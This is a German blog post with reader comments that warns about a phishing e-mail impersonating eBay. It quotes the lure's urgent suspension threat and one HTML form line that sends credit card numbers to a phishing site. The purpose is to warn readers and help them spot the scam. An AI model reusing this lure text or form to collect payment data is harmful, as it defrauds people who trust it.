Heute habe ich eine E-Mail von eBay erhalten, in der stand, dass ich doch bitte meine eBay Daten validieren solle. Die E-Mail sah ziemlich echt aus. Hatte aber einen Anhang (formular.HTML) und ich musste zwei mal hingucken ob die Mail wirklich von eBay kommt. Also ziemlich gut gemachte Fake E-Mail!
Ich frage mich allerdings woher die meine komplette Anschrift haben. Mal abgesehen von dem Impressum auf dieser Seite hier, denn das ist ein Bild. Und normalerweise werden die Daten ja nicht per Hand angeguckt und aufgeschrieben sondern automatisiert per Bot oder ähnlich.
In dem Betreff steht: “eBay – Vorname Nachname Käuferschutz !”
Im Inhalt der E-Mail stand dann folgendes:
Käuferschutz
Sehr geehrte/r Vorname Nachname ,
zur Sicherheit unserer Nutzer, insbesonders Ihres Nutzerkontos, ist es (aus Gründen des Käuferschutzes) erforderlich, dass wir Sie einer kurzen Legitimationsprüfung unterziehen.
Da es in der Vergangenheit vermehrt zu Missbrauchsfällen mit eBay-Nutzerkonten gab, möchten wir Sie darum bitten Ihre Nutzerdaten über das angehängte Formular im Anhang zu validieren.
Die Validierung erfolgt vollautomatisch und dauert nur wenige Minuten.
WICHTIG: Sollten Sie die Legitimationsprüfung innerhalb der nächsten 5 Tagen nicht durchführen, so wird Ihr eBay-Nutzerkonto dauerhaft gesperrt. Diese Sperre kann nicht aufgehoben werden!
Ihre Aktuelle Anschrift lautet :
Vorname Nachname
Anschrift
PLZ OrtMit freundlichen Grüßen,
eBay Kundenservice
Abt. KontosicherheitKlicken Sie auf die im E-Mail-Anhang angehängte Datei und klicken dann auf “Öffnen mit”.
Tragen Sie Ihre Daten vollständig wie angegeben ein.
Sobald Ihre Daten Positiv überprüft worden sind, werden Sie zu unserer Startseite weitergeleitet.
Im Anhang der E-Mail ist dann noch eine formular.HTML Datei, welche ich mit Notepad++ geöffnet habe und mir mal anschaute. Dabei fielen mir die vielen Bildlinks auf, die auf www.check-protection.info verweisen. Das normale eBay Logo findet man Beispielsweise unter http://ir.ebaystatic.com/pictures/aw/pics/globalheader/spr14.png Das machte mich ebenfalls stutzig. Außerdem ist es verwunderlich, dass mein Account nach max. 5 Tagen dauerhaft gesperrt werden soll. Gerade dieser Satz verleitet dazu die Daten schnellstmöglich ohne nachzudenken den Betrügern zu übermitteln.
In dem Formular werden folgende Daten abgefragt:
Darunter steht dann noch folgender Text:
Klicken Sie bitte nur einmal auf “Weiter”. Nach Überprüfung werden Sie auf unsere Hauptseite umgeleitet. Wir bitten Sie aus Sicherheitsgründen Ihr Ebay Passwort zu ändern.
Des Weiteren wird man in dem Formular, sofern man dann auf “Weiter” klickt, nicht auf eine eBayseite geleitet sondern wieder auf die Seite www.check-protection.info
<form method="post" action="http://www.check-protection.info/DE/ebay/konto/index.php"> <input name="ccnumber" id="v4-18" size="20" type="text"><br><label class="help1"></label>
Man gibt also all seine Daten inkl. Kreditkartennummer etc. an die Betrüger weiter. Es ist entsprechende Vorsicht geboten!
Ich rate dringend davon ab diesen Anhang zu öffnen, geschweige denn sogar auszufüllen!!
Screenshot der E-Mail:
Das Formular sieht wie folgt aus:
Also wie gesagt: Ich rate dringend davon ab diesen Anhang zu öffnen, geschweige denn sogar auszufüllen!!
30 Mai, 2014 um 12:27
“Ich frage mich allerdings woher die meine komplette Anschrift haben.”
Das frage ich mich allerdings auch, zumal ich diese FAKE-Mail an eine E-Mail-Adresse geschickt bekommen habe, die ich sonst nur für private zwecke nehme.
Das “witzige” daran ist, ich bin gar nicht bei ebay registriert.
18 Juni, 2014 um 16:11
Bei mir ebenfalls … an meine Firmen-E-Mail, die NICHT für ebay verwendet wird, aber mit komplett korrekter Anschrift. Was mich dennoch wurmt ist, dass jemand offensichtlich einer meiner Mailadressen auch meine Anschrift zuordnen kann – sprich die Daten vermeintlich verkauft wurden, z.B. von irgendeinem Lieferanten?
27 Juni, 2014 um 16:09
Ich auch…Selbstverständlich nichts geöffnet. Ich suche allerdings nach einer Adresse wie die von PayPal spoof, wo ich die E-Mail weiterleiten kann. Ich finde es wichtig, dass ebay Bescheid weißt, auch was das Ausmaß des Betruges betrifft.
9 Juli, 2014 um 10:46
Ich habe diese Mail auch bekommen, und da ich für jedes Portal eine eigene Mailadresse nutze, war mir sofort klar, dass es sich bei der Mail Adresse um einen vor längerem gehackten oder verkauften Account handelte. Solche Mails bekomm ich des öfteren an diese Adresse, und es ist ehrlich gesagt sehr amüsant zu beobachten, wie dumm sich diese Idioten meist anstellen. Das beginnt mit deren Formulierungen und endet mit zahlreichen rechtschreibfehlern ;D
22 September, 2014 um 19:07
Habe diese E-Mail auch bekommen, verbunden mit einer echten, aber etwa 6 Jahre alten E-Mail-Adresse. Scheinbar hat hier irgend ein kleiner Internet-Händler ein Problem mit einem Hacking-Angriff…
Jedenfalls nicht schön das ganze…
Gruß Jeb
22 September, 2014 um 19:08
Sry, es handelt sich um eine 6 Jahre alte POST-Adresse, nicht E-Mail-Adresse…
30 Oktober, 2014 um 15:23
Habe die E-Mail heute auch erhalten, sieht ja schon ziemlich echt aus, oder?
Als ich das Formular zum ausfüllen gesehen hab, dacht ich mir schon da stimmt was nicht!!!!
So mit Angabe von Kreditkartendaten usw.
Finde es echt gut das man dann im Internet so Infos wie hier findet.
Wäre sonst viellt. doch verunsichert gewesen.
Danke und Grüße
Gurgelhuhn